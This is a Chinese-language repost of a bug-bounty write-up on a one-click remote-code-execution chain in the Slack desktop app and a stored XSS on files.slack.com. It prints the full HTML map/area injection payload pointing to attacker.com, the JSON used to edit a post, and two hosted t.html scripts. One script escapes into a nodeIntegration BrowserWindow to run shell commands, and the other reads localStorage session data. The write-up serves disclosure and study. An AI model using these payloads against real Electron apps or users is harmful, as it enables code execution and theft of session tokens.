挖洞经验 | Slack桌面应用程序的RCE漏洞+XSS漏洞
作者:admin | 时间:2020-9-15 19:26:04 | 分类:黑客技术 隐藏侧边栏展开侧边栏
对于Slack的桌面应用程序来说,一些应用内跳转、XSS、逻辑重定向和HTML或javascript注入bug,都有可能导致任意代码执行。这篇Writeup就讲述了作者通过构造HTML注入,绕过Slack安全控制措施,最终在Slack桌面应用中实现了RCE漏洞的情况。
为了证明该RCE漏洞造成的实际危害和利用场景,作者从HTML注入和Javascript payload的构造说起,最后还附加披露了Slack测试范围外的一个XSS漏洞,作者认为虽然该XSS漏洞同样可导致RCE漏洞,也应该引起Slack的重视。
漏洞利用
攻击者端:
1、构造一个包含RCE payload的文件准备上传到Slack服务端
2、以HTML注入方式构造一个Slack发贴(Slack Post)
3、把这个包含HTML注入的Slack发贴分享到频道或其他用户
受害者端:
受害者点击攻击者构造的迷惑图片即可中招实现RCE,攻击者在Payload中精心构造,可以控制受害者端的HTML跳转到攻击者指定的恶意网站。整个漏洞利用链绕过了Slack桌面应用程序的安全防护措施,可实现在受害者端的任意代码执行。
以JSON形式构造包含HTML注入的Slack发贴
1、创建一个带主题和相关内容的Slack发贴
这里,如果我们创建一个Slack发贴,将会向https://files.slack.com服务端执行以下JSON形式的内容请求:
{"full":"<p>content<\/p>","preview":"<p>content<\/p>"}
另外,我们可以通过请求/api/files.info路径获得该发贴文件的特定URL链接:
在请求/api/files.info的响应中,我们可以看到发贴文件的特定URL链接为:https://files.slack.com/files-pri/{TEAM_ID}-{FILE_ID}/TITLE,我们可以通过访问该链接看到其是一个JSON形式的元素内容。
2、构造HTML注入Payload
有了上述Slack发贴的JSON形式后,其实我们可以依此在其中进行一番构造,再反过来进行上传,观察构造后的发贴内容。比如我们可以在其中加入HTML,如通常的iframe, applet, meta, script, form等都是可利用的标签,另外,还有target标签重写为_blank的问题。但是,CSP策略和其它安全防护措施对HTML中Javascript等脚本运行有了很多限制。
然而,经测试分析,我发现即使有CSP等安全措施,仍然可以向HTML中注入area和 map标签,实现一键式RCE漏洞。为了直接对我们的发贴内容进行编辑,可以直接访问以下链接对其内容进行JSON形式构造:
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
链接打开之后的JSON格式如上图所示,我们即可在其中加入我们的Payload元素进行JSON形式构造。此外,还可用Burp流量拦截方式,在其中加入Javascript或JSON脚本,或更改文件类型(filetyp)参数向其中注入doc文件。如向其中构造加入JSON的Payload:
我们可以在贴文的标题修改过程中针对/api/files.edit路径进行Burp流量拦截:
由于CSP策略的防护、各种HTML标签的安全限制和Javascript脚本运行的禁止,我只好构造了以下HTML注入型Payload:
<img src="https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png" rel="external nofollow" width="10000" height="10000" usemap="#slack-img"> <map name="slack-img"> <area shape="rect" coords="10000,10000 0,0" href="https://attacker.com/t.html" rel="external nofollow" target="_self"> </map>
注意该Payload中需要以usemap属性引用一副图片,因此我们可以事先在Slack网络服务中上传这幅图片,以备后用。因此,结合这幅图片,我们可以通过以下贴文链接直接对贴文进行JSON形式构造:
https://{YOUR-TEAM-HOSTNAME}.slack.com/files/{YOUR-MEMBER-ID}/{FILE-ID}/title/edit
构造后的贴文JSON形式为:
{ "full": "asd", "preview": "<img src=\"https://files.slack.com/files-tmb/T02AVL3AF-FSUE04U2D-881f692a25/screenshot_2020-01-26_at_21.12.20_360.png\" width=\"10000\" height=\"10000\" usemap=\"#slack-img\"><map name=\"slack-img\"><area shape=\"rect\" coords=\"10000,10000 0,0\" href=\"https://attacker.com/t.html\" target=\"_self\"></map>" }
3、托管在攻击者服务器中的RCE漏洞利用代码
上述Payload中area标签内的https://attacker.com/t.html,就是最终形成RCE漏洞的触发条件,它可以实现攻击者构造的任意命令执行,t.html内容如下:
<html> <body> <script> // overwrite functions to get a BrowserWindow object: window.desktop.delegate = {} window.desktop.delegate.canOpenURLInWindow = () => true window.desktop.window = {} window.desktop.window.open = () => 1 bw = window.open('about:blank') // leak BrowserWindow class nbw = new bw.constructor({show: false, webPreferences: {nodeIntegration: true}}) // let's make our own with nodeIntegration nbw.loadURL('about:blank') // need to load some URL for interaction nbw.webContents.executeJavaScript('this.require("child_process").exec("open /Applications/Calculator.app")') // exec command </script> </body> </html>
如果要在RCE中跳出弹窗形式,可以把其中的open /Applications/Calculator.app用calc等系统应用程序代替。
4、敏感数据信息获取
通过更改攻击者网站托管的t.html为以下内容,利用该漏洞可以无需交互或命令执行,即可获取受害者电脑中的Slack敏感数据,如用户会话、传递文件、token等信息。
<html> <body> <script> window.desktop.delegate = {} window.desktop.delegate.canOpenURLInWindow = () => true window.desktop.window = {} window.desktop.window.open = () => 1 bw = window.open('about:blank') nbw = new bw.constructor({show: false}) // node not necessary for this demo nbw.loadURL('https://app.slack.com/robots.txt') // robots.txt for speed, app.slack.com gives us the user's full environment nbw.webContents.executeJavaScript('alert(JSON.stringify(localStorage))') </script> </body> </html>
本质上来说,攻击者利用该漏洞可以通过BrowserWindow方式建立隧道tunnel或重写Slack应用程序函数的形式,去执行任意的Javascript代码,以此去获取受害者系统中Slack应用中如会话、传递资料、加入频道等敏感数据信息。
Slack的另一个XSS漏洞
在测试RCE漏洞的过程中,我发现Slack中的发送邮件内容被无过滤存储在了https://files.slack.com中,其文件链接形式与上述贴文形式一样,且可以直接以text/html方式被请求响应。因此,利用上述贴文JSON构造注入方法,可以在其中嵌入包含RCE Payload内容的邮件链接,当然,此处嵌入的邮件链接不需要托管于攻击者服务器中。
但我们可以在如下的邮件内容中再嵌套加入钓鱼网页链接:
同样的,利用该种XSS方式一样可以实现RCE漏洞,如在macOS系统邮件客户端中,可构造如下HTML RCE Payload:
漏洞危害
远程代码执行:
1、获取受害者密钥、密码凭据、内部网络架构等敏感数据信息;
2、获取受害者的Slack私信会话、传递文件等信息;
3、反复的漏洞传播利用甚至可引发“蠕虫级”攻击;
files.slack.com中的XSS:
1、可以构造*.slack.com路径下任意HTML内容的可信页面;
2、可以被用来执行假冒登录页面的钓鱼攻击;
3、可以用来存储上述提到的RCE漏洞利用代码。
详细漏洞报告请参考:https://hackerone.com/reports/783877
参考来源:hackerone